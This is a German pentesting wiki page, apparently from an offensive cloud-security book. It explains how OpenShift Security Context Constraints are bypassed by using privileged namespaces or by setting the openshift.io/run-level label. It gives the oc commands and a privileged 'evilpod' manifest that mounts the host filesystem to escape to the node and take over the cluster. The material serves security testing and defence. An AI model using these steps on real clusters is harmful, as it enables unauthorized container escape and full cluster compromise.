OpenShift - SCC bypass

Der ursprüngliche Autor dieser Seite ist Guillaume

Privilegierte Namespaces

Standardmäßig gilt SCC nicht für die folgenden Projekte:

default
kube-system
kube-public
openshift-node
openshift-infra
openshift

Wenn Sie Pods in einem dieser Namespaces bereitstellen, wird kein SCC durchgesetzt, was die Bereitstellung privilegierter Pods oder das Einhängen des Host-Dateisystems ermöglicht.

Namespace-Label

Laut der RedHat-Dokumentation gibt es eine Möglichkeit, die SCC-Anwendung auf Ihrem Pod zu deaktivieren. Sie benötigen mindestens eine der folgenden Berechtigungen:

Erstellen Sie einen Namespace und erstellen Sie einen Pod in diesem Namespace.
Bearbeiten Sie einen Namespace und erstellen Sie einen Pod in diesem Namespace.

$ oc auth can-i create namespaces
yes

$ oc auth can-i patch namespaces
yes

Die spezifische Bezeichnung openshift.io/run-level ermöglicht es Benutzern, SCCs für Anwendungen zu umgehen. Gemäß der RedHat-Dokumentation, wenn dieses Label verwendet wird, werden keine SCCs auf alle Pods innerhalb dieses Namensraums durchgesetzt, wodurch alle Einschränkungen effektiv aufgehoben werden.

Label hinzufügen

Um das Label in Ihrem Namensraum hinzuzufügen:

$ oc label ns MYNAMESPACE openshift.io/run-level=0

Um einen Namespace mit dem Label über eine YAML-Datei zu erstellen:

apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0

Nun sollten alle neuen Pods, die im Namespace erstellt werden, keine SCC haben

$ oc get pod -o yaml | grep 'openshift.io/scc'
$

In Abwesenheit von SCC gibt es keine Einschränkungen für Ihre Pod-Definition. Dies bedeutet, dass ein bösartiger Pod problemlos erstellt werden kann, um auf das Host-System zu entkommen.

apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:

Jetzt ist es einfacher geworden, Berechtigungen zu eskalieren, um auf das Host-System zuzugreifen und anschließend die gesamte Cluster-Kontrolle zu übernehmen und 'cluster-admin'-Berechtigungen zu erlangen. Suchen Sie nach dem Node-Post Exploitation-Teil auf der folgenden Seite:

Attacking Kubernetes from inside a Pod

Benutzerdefinierte Labels

Darüber hinaus können je nach Zielsetup einige benutzerdefinierte Labels / Annotationen auf die gleiche Weise wie im vorherigen Angriffsszenario verwendet werden. Auch wenn es nicht dafür vorgesehen ist, könnten Labels verwendet werden, um Berechtigungen zu erteilen, Ressourcen einzuschränken oder nicht einzuschränken.

Versuchen Sie, benutzerdefinierte Labels zu finden, wenn Sie auf einige Ressourcen zugreifen können. Hier ist eine Liste interessanter Ressourcen:

Pod
Deployment
Namespace
Service
Route

$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5

Liste aller privilegierten Namespaces

$ oc get project -o yaml | grep 'run-level' -b5

Fortgeschrittener Exploit

In OpenShift kann das Berechtigen zum Bereitstellen eines Pods in einem Namespace mit dem Label openshift.io/run-level wie zuvor demonstriert zu einer unkomplizierten Übernahme des Clusters führen. Aus der Perspektive der Cluster-Einstellungen kann diese Funktionalität nicht deaktiviert werden, da sie inherent für das Design von OpenShift ist.

Jedoch können Maßnahmen zur Minderung wie Open Policy Agent GateKeeper Benutzer daran hindern, dieses Label zu setzen.

Um GateKeeper-Regeln zu umgehen und dieses Label zu setzen, um eine Cluster-Übernahme durchzuführen, müssten Angreifer alternative Methoden identifizieren.

Referenzen

PreviousOpenShift - Tekton

Last updated 2 months ago